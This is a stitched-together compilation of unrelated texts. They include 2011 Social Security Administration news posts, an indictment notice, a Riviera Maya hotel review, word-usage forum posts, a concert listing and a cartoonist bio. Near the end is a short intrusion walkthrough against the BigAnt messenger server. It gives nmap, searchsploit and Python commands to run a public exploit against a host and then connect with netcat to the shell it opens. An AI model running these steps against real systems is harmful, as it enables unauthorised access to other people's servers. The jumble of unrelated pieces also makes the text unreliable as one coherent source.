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Posted: December 21, 2011
Remember, the 3.6 percent cost-of-living adjustment (COLA) will begin with Social Security payments in January 2012. Increased payments for SSI beneficiaries will begin on December 30, 2011. The standard Medicare Part B monthly premium will be $99.90 in 2012.
For people who did not enroll in Medicare Part B during their initial enrollment period at age 65, the annual "general enrollment period" runs from January 1 to March 31, 2012. Coverage begins on July 1 of the year a person enrolls. Monthly premiums increase 10 percent for each 12-month period a person was eligible for, but did not enroll in, Medicare Part B.
Posted: December 12, 2011
The holiday season is the busiest time of year for many people and businesses and it is certainly a busy time for Social Security. That's why we encourage anyone who needs to do business with Social Security over the busy holiday season to go online to www.socialsecurity.gov. If you need to call or visit a Social Security office, we will be closed December 26, 2011 for Christmas and January 2, 2012 for New Year's.
If you need to do business with Social Security during the holidays, you may experience more busy signals on the telephone and longer wait times in local offices.
Posted: December 9, 2011
There's an expanded suite of services offered in Spanish at www.segurosocial.gov. One of the new services is the ability to apply online for Social Security retirement and Medicare benefits in Spanish. Visitors to the site also can apply for Extra Help with Medicare prescription drug costs, use the Retirement Estimator, and read a number of publications. It's all available in Spanish at www.segurosocial.gov today!
Don Francisco, host of the television show Sabado Gigante (or Giant Saturday) since 1962, is helping us spread the news with a series of television Public Service Announcements.
Posted: November 21, 2011
The Social Security Administration once again ranks as one of the top ten "Best Places to Work in the Federal Government," according to The Partnership for Public Service and American University's Institute for the Study of Public Policy Implementation. The number six ranking not only identified Social Security as one of the "Best Places to Work," but it is proof that the Agency's commitment to treat its employees as its most valuable asset has proven successful.
"I am thrilled that we have again made the list of the top ten "Best Places to Work in the Federal Government," said Michael J. Astrue, Commissioner of Social Security. "This validates our long-standing belief that the Social Security Administration is a great place to work and has a very important mission. I am very proud of our employees who are committed to providing the vital services on which the nation depends, despite years of underfunding, growing workloads, and other daunting challenges."
The "Best Places to Work" rankings are based on the results of the Office of Personnel Management's Federal Employee Viewpoint Survey, a government-wide assessment that measures employees' perception of whether, and to what extent, conditions characterizing successful organizations are present in their agencies. The survey provides valuable insight into the challenges agencies face in maintaining an effective civilian workforce. The survey identified effective leadership and employees' skills-to-mission match as the most significant contributory factors of overall employee satisfaction and engagement.
Social Security attributes its success to:
"In a tough economy, President Obama is trying to make it easier for Americans to work for the federal government," said Commissioner Astrue. "I hope our ranking raises awareness about public service among the best job seekers and affirms that a career at Social Security is a great choice."
To learn more about the report, please go to www.bestplacestowork.org.
Posted: November 10, 2011
A Social Security employee has been selected as one of four finalists by the White House in the President's SAVE Award program. Federal employees from across the country submitted nearly 20,000 cost-cutting ideas, and tens of thousands more weighed in by casting votes in support of their favorite submissions.
Learn more about the President's SAVE Award
Posted: November 7, 2011
Social Security is adding 13 new conditions involving the immune system and neurological disorders to the list of Compassionate Allowances.
The Compassionate Allowances program fast-tracks disability decisions to ensure that Americans with the most serious disabilities receive their benefit decisions within days instead of months or years.
"Social Security handles more than three million disability applications each year, and we need to keep innovating and making our work more efficient," Commissioner Michael J. Astrue said. "With our Compassionate Allowances program, we quickly approved disability benefits for more than 60,000 people with severe disabilities in the past fiscal year."
For more information on the Compassionate Allowances initiative, and to see a list of the 13 new conditions, please read the press release.
Posted: October 24, 2011
For over seventy-five years, Social Security has provided hundreds of millions of Americans with a financial safety net. Whether it is after the loss of a loved one, at the onset of disability, or during the transition from work to retirement, we touch the lives of virtually all Americans. Throughout our history, we have strived to deliver compassionate and prompt service to each person who calls, writes, uses our website, or visits our offices.
As required by Executive Order 13571, "Streamlining Service Delivery and Improving Customer Service," our customer service plan outlines our strategy to improve service delivery quality, speed, and efficiency. The plan also highlights our signature initiative, video hearings, which use video technology to minimize costs and expand customer access to our hearings process.
Read the full plan...
Posted: October 19, 2011
Monthly Social Security and Supplemental Security Income (SSI) benefits for more than 60 million Americans will increase 3.6 percent in 2012.
The 3.6 percent cost-of-living adjustment (COLA) will begin with benefits that nearly 55 million Social Security beneficiaries receive in January 2012. Increased payments to more than 8 million SSI beneficiaries will begin on December 30, 2011.
Some other changes that take effect in January of each year are based on the increase in average wages. Based on that increase, the maximum amount of earnings subject to the Social Security tax (taxable maximum) will increase to $110,100 from $106,800. Of the estimated 161 million workers who will pay Social Security taxes in 2012, about 10 million will pay higher taxes as a result of the increase in the taxable maximum.
Information about Medicare changes for 2012, when announced, will be available at www.Medicare.gov. For some beneficiaries, their Social Security increase may be partially or completely offset by increases in Medicare premiums.
The Social Security Act provides for how the COLA is calculated. Learn more about the 2012 COLA.
Posted: October 4, 2011
If you are looking to retire in January 2012, now is the time to apply.
The best place to apply is online.
It's so easy!
In most cases, as soon as an application is submitted electronically, that's it.
There are no forms to sign or paperwork to complete. In rare cases when we need additional
information, Social Security will contact you. You're always first in line when you go
online at www.socialsecurity.gov/pgm/retirement.htm
Posted: September 21, 2011
On September 20, 2011, President Obama addressed the United Nations General Assembly and a host of partners to discuss
a range of international issues. The president outlined progress around the world in implementing the principles of his
Open Government Initiative.
The United States and seven other founding nations of the Open Government
Partnership are delivering concrete open government plans to continue to make their governments more open, transparent,
and accountable to their citizens. In addition to describing several initiatives from the
Open Government Plan, the president looked forward to further international expansion of the Open Government Initiative.
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Posted: September 20, 2011
At Social Security, we are committed to increasing our transparency and improving communication with the public,
our external stakeholders, and our employees because clear, concise, and open communication is essential to good public
service. So when President Obama called for greater openness across Federal government, raising the bar even higher in
these areas, we welcomed the challenge.
In advancing the principles of Open Government, we are sharing more data, expanding opportunities for public dialogue
and participation, and using technology to collaborate in ways we could not have imagined a few years ago.
To highlight a few of our achievements since the launch of our Open Government Initiative, we have:
We also carried out three flagship initiatives to improve our suite of electronic services:
Looking ahead, we continue to plan and carry out steps to greater openness at Social Security. We are working on an interactive web video event to inform the Hispanic community of upcoming new Spanish-language online services. We are also developing additional video products for use on our website and YouTube channel, in response to input received during our various public engagements.
Through these and other efforts, we will continue our commitment to increase transparency, while still protecting personal information entrusted to us; to welcome public participation and collaboration in improving our programs and services; and to make Open Government more sustainable at Social Security.
Posted: September 14, 2011
These days, people seem to be busier than ever. Thanks to smart phones and mobile devices,
we're able to stay in the know even when we're on the run. For example, any time you have a
question about Social Security, it's easy to get a quick answer using our mobile-friendly
Frequently Asked Questions page. Just go to www.socialsecurity.gov/faq
from your mobile device. Turn that delayed flight or wait in a grocery store line from
wasted time to productive time and get answers to your Social Security questions.
Posted: September 6, 2011
Just a reminder that electronic payments are not simply the best way to receive Federal benefits they will soon be the only way. The U.S. Department of the Treasury's new rule phases out paper checks for Federal benefit and non-tax payments by March 1, 2013. In fact, effective May 1, 2011, all new recipients of Federal benefits, including those filing for Social Security and Supplemental Security Income (SSI), must receive their payments electronically unless they meet one of the very limited exceptions.
Electronic payments are safer, easier, more reliable, less costly, and good for the environment. If you have clients who still get Federal benefit checks in the mail, have them visit www.godirect.org today to sign up for direct deposit or Direct Express.
Posted: August 23, 2011
Earlier this year, President Obama outlined his plan to create a 21st-century regulatory system that is simpler and smarter and that protects the health and safety of the American people in a pragmatic and cost-effective way. As a key part of that plan, he called for an unprecedented government-wide review of rules already on the books in order to remove those that are out-of-date, unnecessary, excessively burdensome, or in conflict with other rules.
Leare more about Social Security's plans to Implement Executive Order 13563
Posted: August 2, 2011
Michael J. Astrue, Commissioner of Social Security, announced today that Social Security payments for August 3rd will be made on time and as scheduled. Payments for August 10th, 17th, and 24th also will be made as scheduled.
"I am happy to announce there will be no delay in the payment of August Social Security benefits," Commissioner Astrue said, "which should be a relief to those people who were concerned about their benefits. I'm pleased the President and Congress were able to come together in a bipartisan fashion to avoid an interruption in payments."
People still receiving paper checks from Social Security should consider signing up for Direct Deposit, the secure and convenient way to receive Social Security payments. All current beneficiaries must switch to electronic payments by March 1, 2013.
Posted: August 1, 2011
Beginning August 15, 2011, Social Security field offices nationwide will close to the public 30 minutes early each day. That means a field office that is usually open to the public Monday through Friday from 9 a.m. to 4 p.m. will close at 3:30 p.m. each day.
Learn more about the schedule changes
Posted: July 13, 2011
Social Security will announce the expansion of the list of conditions that qualify under the Compassionate Allowances program at an event on Thursday, July 14, 2011, 10:00 a.m. in Room 106 at the Dirksen Senate Office Building, located at Constitution Ave. and 1st St., NE in Washington, DC.
Learn more about compassionate allowances and the event
Posted: May 26, 2011
Posted: May 6, 2011
Just in time for Mother's Day, the Social Security Administration released its top baby names for 2010. Since 1998, the Social Security Administration has published information on the distribution of given names of Social Security number holders. The popular feature drives a lot of traffic to the Social Security website and helps to promote other important information about Social Security programs and services.
Popular baby names for 2010
Background information about the baby names data
Posted: May 4, 2011
On May 4, 2011, Social Security released data showing the verifications completed for states under the Help America Vote Act (HAVA) of 2002. Under HAVA, most States are required to verify the last four digits of the Social Security number for individuals registering to vote who do not possess a valid State driver's license. Making this data publicly available shows how often States utilize HAVA verifications.
Help America Vote Verification fact sheet and data
Posted: April 22, 2011
On Earth Day, and throughout the year, Social Security is committed to conserving energy and reducing waste. We have buildings with high-efficiency lighting, solar hot water heating systems, high-performance windows, solar lighting in parking lots, improved HVAC systems, and chilled water system improvements. What's more, we offer many of our popular services online. Check out our Earth Day page to learn more.
Posted: April 7, 2011
On April 7, 2010, we joined numerous agencies across the federal government in publishing our first-ever Open Government Plan. In it, we laid out specific milestones for increasing transparency, participation and collaboration at Social Security. We have worked actively throughout the past year carrying out key open government activities to make Open Government (OG) more sustainable at Social Security. We will continue our efforts as we move forward to carry out our plan.
A summary of our achievements and lessons learned from our first year
A pictorial display of our journey so far
Updated: April 5, 2011
On March 10th at 3pm EST, Social Security hosted a webinar for college students and young workers, called "Social Security 101: What's in it for me?" Participants learned answers to questions like "what's that FICA tax that comes out of my paycheck?," "how can Social Security help me at my age?" and "why should I worry about planning for retirement now?" Following the presentation, the audience had an opportunity to pose additional questions during an interactive session.
Watch recording of the webinar
Posted: March 16, 2011
March 13 to March 19 is Sunshine Week, when we celebrate open government and freedom of information. The Office of the CIO and the Office of General Counsel are pleased once again to join forces to raise awareness of these two important areas of government.
Working with many others at SSA, we took steps in 2010 to strengthen our transparency, participation and collaboration to make SSA a more open agency:
And 2011 is off to a good start. We've identified additional data to publish in the coming months. We're exploring more social media tools for use in public and internal engagements. Just last week, we hosted a webinar for young adults, called "Social Security 101: What's in it for me?" with broad viewership and a lively question-and-answer session. A recording of the webinar is available on the agency's website at this link.
During Sunshine Week, we invite you to explore our Open Government Plan and the information available here at our Open Government Portal. Also, feel free to send us your thoughts on open government through the dedicated email box firstname.lastname@example.com.
In addition, today is National Freedom of Information Day. We are very proud of our FOIA program at SSA. Despite having one of the largest FOIA workloads in the Federal government, we have one of the smallest backlogs. In fact, our backlogged initial requests dropped from 147 in fiscal year (FY) 2008 to only 68 in FY 2010.
Also in 2010, we sponsored a 3-day Office of Privacy and Disclosure conference that provided training to agency staff involved in responding to FOIA requests. We made extensive improvements to our public web site, and are working to make it even better by investigating ways to enhance our FOIA Reading Room. We invite you to visit www.socialsecurity.gov/foia to learn more about our FOIA program.
Stay tuned as we continue making information easier to find and more accessible to the public.
Posted: February 23, 2011
On February 15, 2011, Social Security Administration published its annual Summary of Performance and Financial Information, which highlights key performance and financial information from the FY 2010 Performance and Accountability Report. In the report, all key performance indicators show improvement, with all but one performance target met. In addition, the summary report shows progress made on identified management challenges and identifies funding challenges for future years. The full Performance and Accountability Report is available at www.socialsecurity.gov/finance.
Read the FY 2010 Summary of Performance and Financial Information report
Posted: January 25, 2011
Michael J. Astrue, Commissioner of Social Security, today announced a new way for members of the public to participate in open and transparent government. In response to President Obama�s executive order on improving regulations and regulatory review, Social Security is inviting people to provide direct feedback on its rules and regulations. Ideas and comments may be emailed to email@example.com.
For information about what Social Security is doing to improve its regulations and how you can help, go to: www.socialsecurity.gov/open/regsreview/.
Posted: January 6, 2011
Frank Baitman, the Chief Information Officer at the Social Security Administration was recently interviewed by Nick Hoover, a government reporter for Information Week. Among other things, Mr. Baitman describes how social media, digital credentials, and behavior modeling are being employed to get more Americans to use the web to apply for retirement benefits.
Read the full interview on Information Week's website
Posted: January 4, 2011
Meeting its commitment to make high-value information available to the public, Social Security published five new datasets on its Open Government portal and the government-wide Data.gov website. These postings contain data on internet applications for retirement, disability, Medicare replacement cards, direct deposit and change of address.
Go to SSA's data sets page
Go to SSA's catalog on Data.gov
The Social Security Administration is committed to creating an open and transparent government through the following initiatives:


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Mr. Blumenauer's "obsession with bicycling borders on the interesting," sniffed TV satirist Stephen Colbert.
"Bikeman," a House colleague from Oregon calls him. Mr. Blumenauer owns seven bikes. His congressional office is one of the few -- if not the only one -- that didn't even apply for a parking permit. On occasion, Mr. Blumenauer has cycled to the White House. On Mr. Blumenauer's first visit, the Secret Service, more accustomed to limousines, was flummoxed at the sight of his bike.
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(Cleveland) -- A Shaker Heights man has been indicted for impersonating a diplomat and attempting to buy a house and car using fictitious financial documents, said Steven M. Dettelbach, United States Attorney for the Northern District of Ohio.
Derek J. Bishop, 42, was named in a seven-count indictment filed in U.S. District Court. He is charged with fictitious obligations, impersonating a diplomat and wire fraud.
The indictment says Bishop used fictitious Fifth Third checks in March 2013 to attempt to purchase a Nissan Armada for $54,098 from Ganley Nissan. He also tried to use fictitious checks to make payments to Verizon, AT&T, and Nationwide Insurance, according to the indictment.
Prosecutors say Bishop falsely claimed he was a foreign diplomat of the Vatican/Postmaster General of the Divine Province in an attempt to avoid paying taxes on the vehicle and to demand his release from the Cuyahoga County Jail, according to the indictment.
Finally, Bishop is accused of using fraudulent trust documents in March 2013 to attempt to purchase property in Moreland Hills, Ohio, for more than $3.1 million. He attempted to purchase the property by providing Chicago Title Company LLC with false and fraudulent trust documents representing to be for the Bishop Family Trust, even though the trust had no assets or funds to pay the purchase price, according to the indictment.
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When I first visited Mexico's Riviera Maya eight years ago, this 75-mile stretch of Caribbean coastline south of Cancun had neither its classy--not to mention marketable-- name nor its slick four-lane expressway. In those days, you took your life in your hands, dodging trucks on a two-lane, shoulderless road ominously nicknamed La Carretera de los Muertos (the Highway of the Dead!).
I remember, however, the joy of exploring the ruins at Tulum and Cobá--great cities built by the Maya, a highly advanced people accomplished in astronomy and arithmetic--and of impromptu swims at beaches with exotic names like Playa del Secreto. There, I found bronzed Europeans hanging out on pristine white sands. At night, those intrepid travelers slept in RV's, tents, and $10-a-night bamboo huts.
What a difference eight years can make. For better or for worse, developers have finally discovered what was one of the last great unspoiled coasts in the Caribbean, and are taking over beaches that once were backpacker and hippie havens. Now, massive neo-Spanish colonial gates guard a burgeoning number of all-inclusive resorts. But there's good news, too: in the past year, a handful of small, exclusive properties have also opened. They bring this neighboring riviera a fresh level of style and luxury, transforming it into one of the the most seductive destinations around.
Deseo Hotel + Lounge
Hoteliers Carlos Couturier and Moises Micha have become Mexico's answer to Ian Schrager. Their dazzling two-year-old Habita hotel--literally wrapped in frosted glass--ushered in a new era of cutting-edge chic in Mexico City. And the duo's latest project, Deseo, is helping turn the former fishing village of Playa del Carmen into the style capital of the Riviera Maya.
According to Couturier, Deseo could have been "just another hotel." In the spring of 2001, an entrepreneur was building a simple 15-room inn on Avenida Quinta (Fifth Avenue), Playa's buzzing main drag. The project was already well under way when the developer got a glimpse of Couturier and Micha's Mexico City creation and decided that Playa needed something along the same bold lines.
"We liked Playa," Couturier says, explaining why they were attracted to the project. "The town has a very young, liberated spirit." Couturier and Micha reimagined the half-built hotel, and brought on Mexican conceptual artist Silvia Gruner to create the pool. In a mere five months, Deseo was born.
With its dramatic stone entrance modeled after a Mayan temple and its floor-to-ceiling glass panels framed by spindly log balustrades--making it look like a giant Noguchi lamp at night--Deseo's exterior breaks architectural ground. The guest rooms are more predictable: standard-issue minimalist, with the usual flowing white curtains and stark bathroom fixtures. There are original touches, too, such as disappearing (slide-away) bedside tables, incense at turndown, and a wire clothesline strung along one bare white wall and hung with unexpected amenities: sun hat, boxer shorts, beach bag, flip-flops, bananas, and the room-service menu.
Deseo pushes the hipness envelope even further with its nonstop house music, specially mixed in Paris and piped into the rooms 24/7 (guests can turn it off). The same sounds fill the courtyard, a multi-decked affair with mattress-chaises set around a bar and Gruner's pool-installation--which glows purple after dark. Day and night, this outdoor "lounge" draws the young, the cool, and the beautiful. No one minds the noise, the posing, the constant fashion shoots. Indeed, that's why everybody's here.
Avda. Quinta and Calle 12, Playa del Carmen; 52-984/879-3620; www.hoteldeseo.com; doubles from $118, including breakfast.
Paraiso de la Bonita Resort & Thalasso
Possibly the most luxurious presence on the Riviera Maya, Paraiso de la Bonita is also the easiest hotel to reach--it's only 12 miles south of Cancn's international airport. The forerunner in a new line of boutique hotels from the Inter-Continental group, Paraiso makes a dazzling first impression. This begins at the airport, where you are met with chilled towels and a chauffeur-driven Lincoln Navigator. Then you're taken to a prime stretch of beach so isolated it feels like a private island. You can't help being struck by the theatricality of the public areas--the columned pavilions, mosaicked walkways, reflecting pools, Mayan statues, Moroccan lanterns, Balinese sofas, and propeller ceiling fans. If you think you've stumbled upon some fabulous undiscovered Aman resort, you're not far off. Paraiso's general manager, Hector de Galard, who had much to do with the final design, spent four years with the Asian hotel group, first in Bora-Bora and then in Marrakesh, where he recently launched Amanjena.
For de Galard, the Riviera Maya is every bit as exotic as his last two posts. "This coast is special because you're entering the Mayan world," he says. "At the same time, we have the Caribbean and the second-longest coral reef in the world right in front of us. It's the perfect location for a luxurious yet ecological holiday."
Paraiso certainly delivers the luxury part of the equation. The 90 suites are enormous. Indeed, they are almost too big-- imposing rather than soothing. And with their marble floors, stuccoed arches, and silk curtains, not to mention all their perfectly positioned African baskets, Balinese bowls, and distressed Campaign chests, they are perhaps too "decorated." But no matter how you may feel about the look, eventually you succumb to the luxury--the Frette linens, the Bulgari toiletries, the private pools. Best of all are the bathrooms, delightfully over-the-top: twin glass-and-marble sinks and room-sized showers set in gardens. Some even have marble tubs as big as plunge pools.
The food at Paraiso is somewhat less extravagant. Rather than fuse Mexican with some currently trendy culinary tradition ("confusion food" is how de Galard puts it), the resort's French chef, Fabrice Guisset, concentrates on straightforward Mediterranean dishes, emphasizing caught- that-day seafood. Especially memorable are his mussels in a leek and saffron stew and his classic bisque de langosta. Although most of Guisset's creations are light, calorie counts are discreetly provided for guests watching their waistlines.
And that brings us to what is perhaps Paraiso's main attraction: its spa. No glorified fitness center with a couple of massage rooms, the Thalasso Center is a vast (22,000 square feet), highly professional facility that specializes in thalassotherapy, the famous French spa treatments using warm seawater. Inside the stone building, inspired by an ancient temple, are beige marble treatment and recovery rooms. The enormous outdoor hydrotherapy pool faces the sea and is equipped with powerful jets that untangle every muscle in your body. Choices are endless--from four-hand synchronized underwater massage to a dozen different facials. These can be booked individually or as part of a number of packages promising rejuvenation, weight loss, or a basic chill-out. But after a few days at Paraiso, you may not require any of the above.
Cancn-Chetumal Hwy., Petenpich Bay; 800/327-0200 or 52-998/872-8300; www.paraisodelabonitaresort.com; doubles from $410.
Ikal del Mar
Just 10 miles north of Playa del Carmen—and 45 miles south of the airport—Ikal del Mar ("poetry of the sea") is the perfect retreat for travelers who want to sample the Playa scene but sleep well-removed from it. Set in a thick jungle by the shore, the 29 thatched bohíos (bungalows) were made by Mayan carpenters in the traditional manner, then outfitted with all the amenities of a world-class hotel.
"We wanted to see if you could do something beautiful and not destroy the environment," says general manager Nicols Dominguez. The architects planned to build within the jungle rather than bulldoze it into oblivion, and linked the bohíos by a series of walkways on which no motorized vehicles are permitted. All are self-contained units, comprising a large room with a mosquito-netted platform bed; a glamorous bathroom; and an outdoor shower in a back garden. And then there's your front patio, where you could practically take up residence, with its plunge pool, terry-covered chaises, free-form unpolished marble table, and handwoven hammock--especially pleasant in the early morning, when Ikal's large bird population is waking up.
Beyond the jungle-covered grounds lies Ikal's beach, which is impressive when admired from the resort's infinity pool or from the two-story bar and dining pavilion, but a bit too rocky for good swimming. (Wider, more swimmable stretches of sand are just a short walk away.) Off to one side of the beach stands an odd, igloo-shaped stone structure called a temazcal. A kind of Native American sauna, it's used in an ancient purification rite, involving prayers, chants, mantras, and massages, performed several times a week for small groups of guests. The temazcal ritual begins with a steam cleansing in Ikal's thatch-and-stone spa. Participants then head down to the beach, where they enter the fired-up igloo for a magical (some say consciousness-raising) interlude. Offering more than rejuvenation, the temazcal rite can be an intensely exhilarating cross-cultural experience.
Less successful at bridging cultures is Ikal's menu, which seems overly ambitious—a mishmash of Asian, Italian, and Mexican dishes that is slightly old-fashioned and overpriced (the $23 salmon fettuccine in chipotle sauce is a case in point). The best items are the simplest: the Saratoga french-fried potato appetizer, the New York steak au poivre, the Pernod lobster with mashed potatoes. But Ikal is young and has a lot going for it, including plenty of time for fine-tuning.
Xcalacoco; 888/230-7330 or 52-984/877-3000; www.ikaldelmar.com; doubles from $375
Maroma Resort & Spa
Mexican architect José Luis Moreno is a Riviera Maya pioneer. Back in 1976, when he was one of many architects involved in the creation of Cancn, he purchased a coconut plantation some 30 miles to the south on a magnificent bay accessible only from the sea. In 1980 he cut a road through the jungle and built a small house for himself and his future wife, Sally Shaw. "We had a Blue Lagoon adventure," Moreno says of their early years in the remote paradise.
Once they started inviting friends for weekends, the couple soon found themselves the most popular hosts in the Yucatán. To accommodate an ever-growing number of houseguests, they kept adding rooms to their compound--white Moorish-Mayan cottages set in lush tropical gardens--unwittingly creating the beginnings of a small resort. In 1995, after a few more years of work (and urging from friends), they officially opened Maroma to the public.
Popular with low-profile celebrities, CEO's, and politicos seeking seclusion, Maroma counts Tony Blair and Prince William among its fans and once stood unrivaled as the sole upscale resort on the Riviera Maya. But with the recent arrival of other, similar properties, the 57-room Maroma has faced serious competition. Which is why, in March, Moreno sold 75 percent of his operation to Orient-Express Hotels.
"We don't want to make Maroma bigger," he explains. "Only better." On the drawing board: six villa suites, a large fitness facility overlooking the sea, and a spa with massage rooms on the beach. Best of all, he will not have to sell off any part of his 600 surrounding acres. This means that with the exception of one small hotel that recently opened down the beach, Maroma will have no neighbors for the foreseeable future on what is one of the world's loveliest bays.
Maroma also has a major asset in the charm of its staff. From the women who scatter bougainvillea blossoms on your bed at turndown to the waiters who prepare guacamole by your table on the seaside dining terrace, these people aim, in Moreno's words, "to show you our hearts, not just our beaches."
The food at Maroma is another reason for its reputation. The delightfully earthy, unfussy warm-weather fare includes grilled fish, fresh pastas, chunky salsas, and a well-edited selection of authentic Yucatecan dishes: lime soup with chicken, char-grilled marinated fish, pork baked in banana leaves. Maroma's breakfast buffet is legendary: a feast of tropical fruits, fresh juices, pastries, pancakes, avocado omelettes--and that's only a fraction of it.
At the end of the day, there's little not to like at Maroma, though one might call the guest rooms--with their Mexican rugs, ceramic lamps, stuccoed niches, aromatherapy candles, and art books--a bit busy. Also, the entire place could use a visit from the fabric police to rethink the tired tapestry coverings on much of the furniture. But these drawbacks, which will undoubtedly be addressed by Orient-Express, pale beside the beauty of Maroma's setting and the warmth of its staff.
Km 51, Hwy. 307; 866/454-9351 or 52-998/872-8200; www.orient-expresshotels.com; doubles from $225, including breakfast.
Sites to be Seen
In addition to a stunning coastline, the Riviera Maya is home to impressive archaeological and natural wonders.
Tulum This extraordinary Mayan city 40 miles south of Playa del Carmen was built about 400 to 900 a.d. on a bluff above the Caribbean Sea. Its squat, fat-columned temples, many with their flat roofs still intact, give Tulum the look and feel of an ancient Minoan (rather than Mayan) town. Landscaped with boulder- and statue-studded lawns, deep-purple succulents, and small palms, Tulum is one of the world's most visited archaeological sites. Go early or late in the day to avoid crowds. And bring a bathing suit, as there's a small beach below.
Cobá The ancient metropolis of Cobá--42 miles off Highway 307,
the Riviera Maya's main thoroughfare--is well worth the detour. The site remains largely unexcavated, but what has been unearthed is staggering: mammoth pyramids (including the tallest in the northern Yucatán), monolithic stelae, and ancient playing fields. Miles of jungle paths wind through the thick foliage and can be explored on foot (wear sturdy shoes) or by bike (rentals are available at the entrance). Stay for sunset, best viewed from atop the pyramids. The Mayan Encounter from Alltournative (52-984/873-2036; www.alltournative.com; $80 per person) combines a guided tour of Cobá with a half-day in a Mayan village.
Sian Ka'an Mayan for "where the sky was born," the 2,800-square-mile peninsula 56 miles south of Playa del Carmen has been designated a World Heritage site by the United Nations; as such, it's protected from most development. In its jungles are jaguars, pumas, ocelots, monkeys, and some 400 species of birds; the lagoons and bays are home to dolphins, giant sea turtles, rays, crocodiles, and super-sized starfish. Sian Ka'an is best seen on an organized day trip: Eco Colors (52-998/884-9580; www.ecotravelmexico.com; $95 per person) takes guests game spotting, bird-watching, and snorkeling.
Living it up in Playa del Carmen
Mexico's fastest-growing city has come a long way since the days when it was best known as the sailing-off point for the nearby island of Cozumel. With new cafés and bars opening all the time, keeping up can be difficult. Here, where to eat and drink now.
Da Gabi Avda. Quinta and Calle 12; 52-984/873-0048; dinner for two $30. A cool corner café for some of Playa's best Italian food: brick-oven pizzas, fresh pastas.
Buenos Aires Avda. Quinta and Calle 6; 52-984/804-0232; dinner for two $30. Excellent beef at great prices--planked filet mignon is $10.
La Casa del Agua Avda. Quinta and Calle 2; 52-984/803-0232; dinner for two $38. Trendy second-story restaurant-art gallery serving Mexican, European, and gringo food.
Pancho's Avda. Quinta and Calle 12; 52-984/873-2222; dinner for two $50. A movie-set Spanish colonial courtyard with a pool provides the ambience for modern Mexican cuisine. Superb fajitas.
Java Joe's Avda. Quinta and Calle 10; no phone; breakfast for two $10. An early-morning institution (opens at 6:30 a.m.). Known for its great coffee, sweet rolls, and bagels.
La Cueva del Chango Avda. 38; 52-984/873-1598; breakfast for two $12. An insider's find, set in a jungly garden on the northern outskirts of town. Especially popular for late breakfasts.
Ula Gula Avda. Quinta and Calle 10. A smart watering hole that's been going strong for years--despite competition from the Deseo Lounge, down the street.
Deseo Lounge Avda. Quinta and Calle 12. The pool patio of this happening hotel is Playa's grooviest cocktail stop. Blue Parrot On the beach at Calle 12. Beer and margaritas by the sea--open till 3 a.m.
Riviera Maya--The Way it Was
Although big changes are taking place, it's still possible to have a barefoot escape at these four hotels that provide a flashback to the old Riviera Maya.
Kailuum II Six miles north of Playa del Carmen, off Hwy. 307; 800/538-6802 or 303/674-9615, fax 303/674-8735; www.mexicoholiday.com; doubles from $80. No electricity means romantic candlelit evenings at this rustic little spot, known for its excellent swimming and snorkeling. Instead of rooms, there are 30 tents on the beach, with proper beds, porches, and maid service. The restaurant and bar palapa has a sand floor; showers and toilets are in separate buildings.
La Vita Bella Km 1.5, Carretera Tulum-Boca Paila; 52-984/877-8145; doubles from $80. Owned by Sylvia Gino, a laid-back Italian who fell in love with the area while on holiday several years ago, this funky hideaway fronts a lovely Tulum beach. Guests dine on fresh pasta and pizza at plastic tables in the sand--and stay in charming bungalows.
Maya Tulum Retreat & Resort Km 7, Carretera Tulum-Boca Paila; 888/515-4580 or 52-984/877-8638; www.mayatulum.com; doubles from $70. Yoga is a way of life at this getaway just south of Tulum, which also has some of the best massage therapists this side of Esalen. The 41 simple stone-and-thatch cabaas, most with private baths, line a white-sand beach. Though primarily vegetarian, the restaurant does serve fish and lobster.
Mosquito Blue Avda. Quinta and Calle 2; 52-984/873-1245, fax 52-984/873-1337; www.mosquitoblue.com; doubles from $110. Before Deseo, this was the place to stay in Playa: 46 pleasant rooms encircling a palmy courtyard and a pretty pool.


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No, this isn't what happened in America when we elected our first bi-racial President. All this drivel about a "post-racial" America is just that, drivel.
So, how do we go about deracinating racism anywhere? An entirely different topic, and one that doesn't belong here in the Agora.
However, the concept can be discussed. The uprooting, ripping out, eradication of something is what this word means.
From the simple weeds of your gardens, to the weeds that infest society, this is the word.
Sadly, it can also apply to refugees. They have been deracinated from their homes and homeland. Uprooted and Unwanted, a book I read in a class a while ago, could just as well have been titled, Deracinated and Undesired. Too erudite for popularity, but it means the same thing.
Use this forum to suggest Good Words for Professor Beard.
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From dictionary.com: childish, silly, or meaningless talk or thinking; nonsense; twaddle.LukeJavan8 wrote:I'll buy your "drivel" aspect.
What is the definition that you seek to apply here?
Any talk of America being in a post-racial stage is all of the above. Just because a half-white male was elected President does not mean that racism has ended here. It is alive and well, sad to say. Thus, drivel.
Apologies for the delay in responding. This deserved a more expedited reply. Mea culpa.
Life is like playing chess with chessmen who each have thoughts and feelings and motives of their own.
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Let me correct my comment about extirpate and deracinate having the very same root. Deracinate is based on "radix," for root; extirpate is based on "stirps," also "a root, stock of a tree, " but not the very same word. We'll get to the root of it, yet!
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The Wild Beats, comprising pianist Tatiana Roitman, violinist Meredeth Maddox Hicks, and cellist David Gerstein, will perform at 7 p.m. on July 7, at St. Luke's Episcopal Church in North Little Rock. The trio will present works by Turina, Shostakovich, and Schubert. The concert is part of St. Luke's Festival of the Senses series and is supported in part by the Arkansas Arts Council, an agency of the Department of Arkansas Heritage, and the National Endowment for the Arts.


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The BigAnt is a software aimed at business use, since it's basically an instant messenger in which the network administrator creates a server, creates all the accounts you can access it by setting its access permissions and passwords, and integrates communication of its employees, no matter the size of your company. Moreover, all the messages are encrypted, ie there is no danger of someone stealing confidential information through a conversation between managers, for example.
By downloading BigAnt there will be two files, one is the messenger itself and the other is the console, or the server for which the administrator will control the swing of things. Install both. The first thing to do is turn the console and create a server, users and groups. When running the console click on "demo" to watch a video demonstrating the basic operation of it.
Now that we know and what program, an intrusion vamas simple ...
Tools used:
Nmap - http://nmap.org/download.html
Netcat - http://netcat.sourceforge.net/download.php
Exploit - http://www.exploit-db.com/exploits/10765/
nmap -p 1-9999 192.168.1.102
cd /pentest/exploits/exploit-db
./searchsploit bigant
cp platforms/windows/remote/10765.py /root/
cd /root/
python 10765.py 192.168.1.102
nc 192.168.1.102 4444
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text: Pieter De Poortere studied illustration at the Sint-Lucas in Ghent. He contributed cartoons to magazine Humo, and made his comic debut in 2000 with 'Boerke'. An album appeared in 2001, and it was awarded the Dutch Stripschapspenning for its original combination of naive graphic style and cruel jokes. Pieter De Poortere also made the theater/comic play 'K.A.K.' in 2002, together with actor Han Coucke and composer Joris Schoenmaekers. 'Boerke' has also appeared in an english edition, titled 'Dickie'.


